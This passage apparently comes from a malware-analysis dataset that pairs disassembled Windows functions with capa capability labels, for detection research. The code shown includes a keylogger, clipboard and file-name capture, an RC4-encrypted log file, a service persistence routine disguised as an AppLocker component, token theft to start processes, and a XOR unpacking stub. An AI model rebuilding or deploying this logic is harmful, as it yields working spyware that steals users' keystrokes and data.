joyce8/EMBER2024-capa huggingface dataset:
Function at 0x492e10
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x492e48
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00490ec7
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00490e9f
jmp 0x492e54
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x494503
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x494545
call fcn.0049a2be
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x494545
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x49453c
xor eax, eax
jmp 0x49454d
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00494553
pop edi
pop esi
pop ebx
ret 4

Function at 0x49a7ee
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x49a81c
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x49a83a
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0049a754
jmp 0x49a83a
mov eax, dword [esi + 0x14]
test eax, eax
je 0x49a83a
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0049a754
test edi, edi
mov eax, edi
jne 0x49a824
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x42e01e
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x10001290
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
push edi
push 0x10
mov edi, ecx
call esi
movzx ebx, ax
push 0x14
and ebx, 0x8000
call esi
movzx edx, ax
mov esi, 0xba
and edx, 1
xor eax, eax
mov ecx, 0xc0
cmp di, si
jb 0x100012c8
cmp di, cx
jbe 0x100012d4
lea ecx, [edi - 0xdb]
cmp cx, 3
ja 0x100012fb
test ebx, ebx
je 0x100012ed
cmp di, word [eax*8 + 0x100219e8]
jne 0x100012fb
mov eax, dword [eax*8 + 0x10021a44]
pop edi
pop esi
pop ebx
ret
cmp di, word [eax*8 + 0x100219e8]
je 0x10001397
lea ecx, [edi - 0x30]
cmp cx, 9
ja 0x10001327
test ebx, ebx
je 0x1000131d
cmp di, word [eax*8 + 0x100219e8]
jne 0x10001327
mov eax, dword [eax*8 + 0x10021c6c]
pop edi
pop esi
pop ebx
ret
cmp di, word [eax*8 + 0x100219e8]
je 0x10001397
lea ecx, [edi - 0x41]
cmp cx, 0x19
ja 0x10001342
test edx, edx
je 0x10001363
test ebx, ebx
je 0x10001367
cmp di, word [eax*8 + 0x100219e8]
je 0x10001397
cmp di, word [eax*8 + 0x100219e8]
je 0x10001397
inc eax
cmp eax, 0x8d
jl 0x100012b9
mov eax, dword [eax*8 + 0x100219e4]
pop edi
pop esi
pop ebx
ret
test ebx, ebx
je 0x10001338
cmp di, word [eax*8 + 0x100219e8]
jne 0x10001342
push dword [eax*8 + 0x100219ec]
push 0x64
push 0x10026090
call fcn.1000a561
add esp, 0xc
mov eax, 0x10026090
add byte [0x10026090], 0xe0
pop edi
pop esi
pop ebx
ret
mov eax, dword [eax*8 + 0x100219ec]
pop edi
pop esi
pop ebx
ret

Function at 0x10001580
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x10001599
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x100015d6
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 8]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x100015d2
nop word [eax + eax]
cmp esi, edx
jae 0x100015d6
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x100015c0
cmp esi, edx
jb 0x100015dd
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10001b00
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov eax, dword fs:[0x2c]
push esi
mov esi, ecx
mov ecx, dword [0x100223bc]
mov ecx, dword [eax + ecx*4]
mov dword [esi], vtable.ATL::CImage.0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov word [esi + 0x1c], 0
mov dword [esi + 0x20], 0xffffffff
mov dword [esi + 0x24], 0xffffffff
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
mov eax, dword [0x10026138]
cmp eax, dword [ecx + 4]
jle 0x10001baa
push 0x10026138
call fcn.100057c6
add esp, 4
cmp dword [0x10026138], 0xffffffff
jne 0x10001baa
call fcn.10001ab0
push 0x10017400
call fcn.10005683
push 0x10026138
call fcn.10005787
add esp, 8
push 0x10026140
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
inc dword [0x10026158]
push 0x10026140
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, esi
pop esi
ret
Function at 0x100027a0
Capabilities:
Create service
Modify service
Persist via windows service
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18c
mov eax, dword [0x1002100c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0xf003f
xor edi, edi
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x100027f6
push 1
push str.TnTi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
test eax, eax
je 0x100027eb
push eax
mov edi, 1
call ebx
push esi
call ebx
test edi, edi
jne 0x10002911
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
mov dword [ebp - 0x188], ebx
test ebx, ebx
je 0x100028bb
push 0x104
lea eax, [ebp - 0x184]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x184]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x10002830
mov eax, dword [str.__ins]
push 0
push 0
push 0x1001ddec
push 0
push 0
mov dword [ecx], eax
mov ax, word [0x1001de04]
mov word [ecx + 4], ax
lea eax, [ebp - 0x184]
push eax
push 1
push 2
push 0x110
push 0xf01ff
push str.TnTi
push str.TnTi
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov ebx, eax
lea edi, [ebp - 0x80]
lea eax, [ebp - 0x80]
mov ecx, 0x1f
mov dword [ebp - 0x18c], eax
mov esi, str.Determines_and_verifies_the_identity_of_an_application._Disabling_this_service_will_prevent_AppLocker_from_being_disforced.
lea eax, [ebp - 0x18c]
push eax
push 1
rep movsd dword es:[edi], dword [esi]
push ebx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov edi, dword [ebp - 0x188]
test ebx, ebx
jne 0x100028ce
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call esi
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10005344
mov esp, ebp
pop ebp
ret
push 0x10
push str.TnTi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push 0
mov esi, eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test eax, eax
jne 0x1000290c
call esi
push edi
call esi
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10005344
mov esp, ebp
pop ebp
ret
call esi
push edi
call esi
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10005344
mov esp, ebp
pop ebp
ret
Function at 0x10002930
Capabilities:
Delete service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1002100c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0xf003f
push 0
push 0
mov dword [ebp - 0x24], 0
call edi
mov esi, eax
test esi, esi
je 0x10002a07
push 1
push str.TnTi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test eax, eax
je 0x10002987
push eax
mov dword [ebp - 0x24], 1
call ebx
push esi
call ebx
cmp dword [ebp - 0x24], 0
je 0x10002a07
push 0xf003f
push 0
push 0
call edi
mov edi, eax
test edi, edi
je 0x100029be
push 0x10020
push str.TnTi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
mov dword [ebp - 0x24], esi
test esi, esi
jne 0x100029d1
push edi
call ebx
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10005344
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x20]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push dword [ebp - 0x24]
mov esi, eax
call ebx
push edi
call ebx
xor eax, eax
test esi, esi
pop edi
pop esi
setne al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10005344
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10005344
mov esp, ebp
pop ebp
ret

Function at 0x10002a20
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push esi
push 0
mov esi, ecx
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10002a7d
push edi
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test edi, edi
je 0x10002a72
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
sub esi, eax
nop dword [eax]
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [esi + eax - 1], cl
test cl, cl
jne 0x10002a50
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
mov eax, 1
pop esi
ret
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
xor eax, eax
pop esi
ret
xor eax, eax
pop esi
ret
Function at 0x10002a90
Capabilities:
List drag and drop files
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2034
call fcn.10016950
mov eax, dword [0x1002100c]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0x2020
lea eax, [ebp - 0x2024]
mov edi, ecx
push 0
push eax
mov dword [ebp - 0x2034], edi
call fcn.10007920
add esp, 0xc
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10002bf1
push ebx
push esi
push 0xf
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
mov dword [ebp - 0x2028], esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0
push 0xffffffffffffffff
push esi
call dword [sym.imp.SHELL32.dll_DragQueryFileA]
xor ebx, ebx
mov dword [ebp - 0x2030], eax
test eax, eax
jle 0x10002baf
nop dword [eax + eax]
push 0
push 0
push ebx
push esi
call dword [sym.imp.SHELL32.dll_DragQueryFileA]
lea esi, [eax + 1]
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push esi
mov esi, dword [ebp - 0x2028]
mov edi, eax
push edi
push ebx
push esi
mov dword [ebp - 0x202c], edi
call dword [sym.imp.SHELL32.dll_DragQueryFileA]
test ebx, ebx
jne 0x10002b5f
lea edx, [ebp - 0x2024]
mov ecx, edi
sub edx, edi
nop
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x10002b50
jmp 0x10002b95
mov edx, edi
mov esi, edi
mov al, byte [edx]
inc edx
test al, al
jne 0x10002b63
lea edi, [ebp - 0x2024]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10002b73
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp - 0x202c]
mov esi, dword [ebp - 0x2028]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
inc ebx
cmp ebx, dword [ebp - 0x2030]
jl 0x10002b10
mov edi, dword [ebp - 0x2034]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
test ebx, ebx
pop ebx
jle 0x10002bf1
lea ecx, [ebp - 0x2024]
mov eax, ecx
sub edi, eax
nop dword [eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edi + ecx - 1], al
test al, al
jne 0x10002bd0
mov eax, 1
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10005344
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop edi
call fcn.10005344
mov esp, ebp
pop ebp
ret
Function at 0x10003090
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x10022994]
push ebx
push esi
push edi
push 0x7f00
push 0
mov dword [ebp - 0x34], 3
mov dword [ebp - 0x30], 0x10003900
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov esi, dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
mov dword [ebp - 0x20], eax
call esi
push 0
mov dword [ebp - 0x1c], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
push 0x7f00
push 0
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], str.lummer
call esi
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_RegisterClassA]
push 0
push dword [0x10022994]
push 0
push 0
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push 0x1001ddf4
push str.lummer
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0x10003670
push 0x1388
mov esi, eax
push 0x2d
push esi
call dword [sym.imp.USER32.dll_SetTimer]
test esi, esi
je 0x100031c2
push str.User32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x100031c2
push str.RegisterRawInputDevices
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
test ebx, ebx
je 0x100031c2
push 0xc
push 1
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x60001
push eax
mov dword [ebp - 8], 0x100
mov dword [ebp - 4], esi
call ebx
test eax, eax
je 0x100031c2
mov ecx, esi
call fcn.10004350
test eax, eax
je 0x100031c2
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100031d0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2c62c
call fcn.10016950
mov eax, dword [0x1002100c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x16378
lea eax, [ebp - 0x2c62c]
mov ebx, ecx
push 0
push eax
call fcn.10007920
add esp, 0xc
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
push 0x14
movzx esi, ax
call dword [sym.imp.USER32.dll_GetKeyState]
and esi, 0x8000
je 0x100032dc
cmp bx, 0x43
jne 0x1000323b
pop esi
mov eax, str._ctrlC_
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10005344
mov esp, ebp
pop ebp
ret
cmp bx, 0x56
jne 0x100032dc
lea ecx, [ebp - 0x162b4]
call fcn.10002a20
cmp eax, 1
jne 0x10003268
lea eax, [ebp - 0x162b4]
push eax
push str._ctrlV_
push str._s_r_n__________________________________________________________________________r_nthe_clip_data_is:_r_n_s_r_n__________________________________________________________________________r_n
jmp 0x100032af
test eax, eax
jne 0x100032bf
lea ecx, [ebp - 0x162b4]
call fcn.10002a90
cmp eax, 1
jne 0x1000328f
lea eax, [ebp - 0x162b4]
push eax
push str._ctrlV_
push str._s_r_n__________________________________________________________________________r_nthe_clip_filename_is:_r_n_s_r_n__________________________________________________________________________r_n
jmp 0x100032af
test eax, eax
jne 0x100032bf
lea ecx, [ebp - 0x162b4]
call fcn.10002c10
lea eax, [ebp - 0x162b4]
push eax
push str._ctrlV_
push str._s_r_n__________________________________________________________________________r_nthe_remote_clip_filename_is:_r_n_s_r_n__________________________________________________________________________r_n
lea eax, [ebp - 0x2c62c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x2c62c]
call fcn.10003310
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10005344
mov esp, ebp
pop ebp
ret
cmp bx, 0x10
je 0x100032f5
cmp bx, 0x11
je 0x100032f5
cmp bx, 0x14
je 0x100032f5
mov ecx, ebx
call fcn.10001290
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.10005344
mov esp, ebp
pop ebp
ret
Function at 0x10003310
Capabilities:
Print debug messages
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
mov eax, dword [0x1002100c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edi
push 0x10022b98
mov edi, ecx
mov dword [ebp - 0x13c], 0
call esi
push 0
push 2
push 4
push 0
push 7
push 0x40000000
push 0x10022b98
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10022c98], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [0x10022c98]
lea eax, [ebp - 0x38]
push str.hFile___d_err___d_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x38]
push eax
call esi
mov esi, dword [0x10022c98]
cmp esi, 0xffffffff
je 0x1000341c
push 0x100
lea eax, [ebp - 0x138]
push 0
push eax
call fcn.10007920
add esp, 8
lea ecx, [ebp - 0x138]
call fcn.100043c0
mov ecx, edi
add esp, 4
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100033c0
sub ecx, edx
mov edx, edi
push ecx
lea ecx, [ebp - 0x138]
call fcn.100044a0
add esp, 4
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, edi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100033f0
push 0
lea eax, [ebp - 0x13c]
sub ecx, edx
push eax
push ecx
push edi
push dword [0x10022c98]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [0x10022c98]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10005344
mov esp, ebp
pop ebp
ret

Function at 0x100043c0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x1002100c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x100
xor edi, edi
lea eax, [ebp - 0x104]
mov esi, ecx
push edi
push eax
mov dword [ebp - 0x10c], esi
call fcn.10007920
lea eax, [ebp - 0x104]
mov dword [ebp - 0x108], 6
add esp, 0xc
xor ebx, ebx
sub esi, eax
nop dword [eax]
mov eax, ebx
lea ecx, [ebp - 0x104]
cdq
add ecx, ebx
idiv dword [ebp - 0x108]
mov byte [esi + ecx], bl
inc ebx
mov al, byte [edx + str.rfvfsj]
mov byte [ecx], al
cmp ebx, 0x100
jl 0x10004410
mov esi, dword [ebp - 0x10c]
lea ebx, [ebp - 0x104]
sub ebx, esi
mov dword [ebp - 0x108], 0x100
nop dword [eax]
mov dl, byte [esi]
movzx eax, byte [ebx + esi]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x1000446d
dec edi
or edi, 0xffffff00
inc edi
mov ecx, dword [ebp - 0x10c]
mov al, byte [ecx + edi]
mov byte [esi], al
inc esi
sub dword [ebp - 0x108], 1
mov byte [ecx + edi], dl
jne 0x10004450
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10005344
mov esp, ebp
pop ebp
ret
Function at 0x100044a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor edi, edi
mov dword [ebp - 4], edx
mov esi, ecx
test ebx, ebx
je 0x10004508
push ecx
mov ecx, esi
call fcn.100043c0
mov dl, byte [esi + 1]
add esp, 4
movzx ecx, dl
and ecx, 0x800000ff
jns 0x100044d6
dec ecx
or ecx, 0xffffff00
inc ecx
movzx eax, byte [ecx + esi]
mov byte [esi + 1], al
mov byte [ecx + esi], dl
movzx eax, byte [esi + 1]
movzx ecx, dl
add ecx, eax
and ecx, 0x800000ff
jns 0x100044f9
dec ecx
or ecx, 0xffffff00
inc ecx
movzx eax, byte [ecx + esi]
mov ecx, dword [ebp - 4]
xor byte [edi + ecx], al
inc edi
cmp edi, ebx
jb 0x100044b5
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10004510
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
mov eax, dword [0x1002100c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x138], ecx
push ebx
push 2
mov edi, edx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10004553
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10005344
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x130]
mov dword [ebp - 0x130], 0x128
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x100045ce
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
nop word [eax + eax]
push dword [ebp - 0x138]
lea eax, [ebp - 0x10c]
push eax
call fcn.1000a86a
add esp, 8
test eax, eax
jne 0x100045be
mov dword [ebp - 0x134], eax
lea eax, [ebp - 0x134]
push eax
push dword [ebp - 0x128]
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
je 0x100045be
cmp dword [ebp - 0x134], edi
je 0x100045e8
lea eax, [ebp - 0x130]
push eax
push esi
call ebx
test eax, eax
jne 0x10004580
xor ebx, ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10005344
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp - 0x128]
jmp 0x100045ce
Function at 0x100045f0
Capabilities:
Acquire debug privileges
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x78
cmp dword [ebp + 8], 0
push esi
push edi
mov dword [esp + 0xc], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
jne 0x10004623
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
mov edi, eax
mov ecx, str.winlogon.exe
mov edx, edi
call fcn.10004510
mov esi, eax
test esi, esi
jne 0x1000464f
mov edx, edi
mov ecx, str.explorer.exe
call fcn.10004510
mov esi, eax
test esi, esi
je 0x10004619
lea eax, [esp + 0x14]
push eax
push edi
call dword [sym.imp.WTSAPI32.dll_WTSQueryUserToken]
test eax, eax
jne 0x10004683
push esi
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
lea ecx, [esp + 0x10]
push ecx
push 0xf00ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov eax, dword [esp + 0x10]
jmp 0x1000468b
mov eax, dword [esp + 0x14]
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x18]
push ecx
push 4
lea ecx, [esp + 0x24]
push ecx
push 0x13
push eax
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x100046ae
mov esi, dword [esp + 0x1c]
mov dword [esp + 0xc], esi
jmp 0x100046de
lea eax, [esp + 0x20]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
lea eax, [esp + 0xc]
push eax
push 1
push 1
push 0
push 0x2000000
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
mov esi, dword [esp + 0xc]
push 0x44
lea eax, [esp + 0x3c]
push 0
push eax
call fcn.10007920
add esp, 0xc
mov dword [esp + 0x38], 0x44
lea eax, [esp + 0x28]
mov dword [esp + 0x40], str.winsta0default
push eax
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 0x20
push 0
push 0
push 0
push dword [ebp + 8]
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
mov ecx, dword [esp + 0xc]
mov edi, eax
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test ecx, ecx
je 0x10004734
push ecx
call esi
mov eax, dword [esp + 0x14]
test eax, eax
je 0x1000473f
push eax
call esi
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1000474a
push eax
call esi
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x10012e10
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10012c8f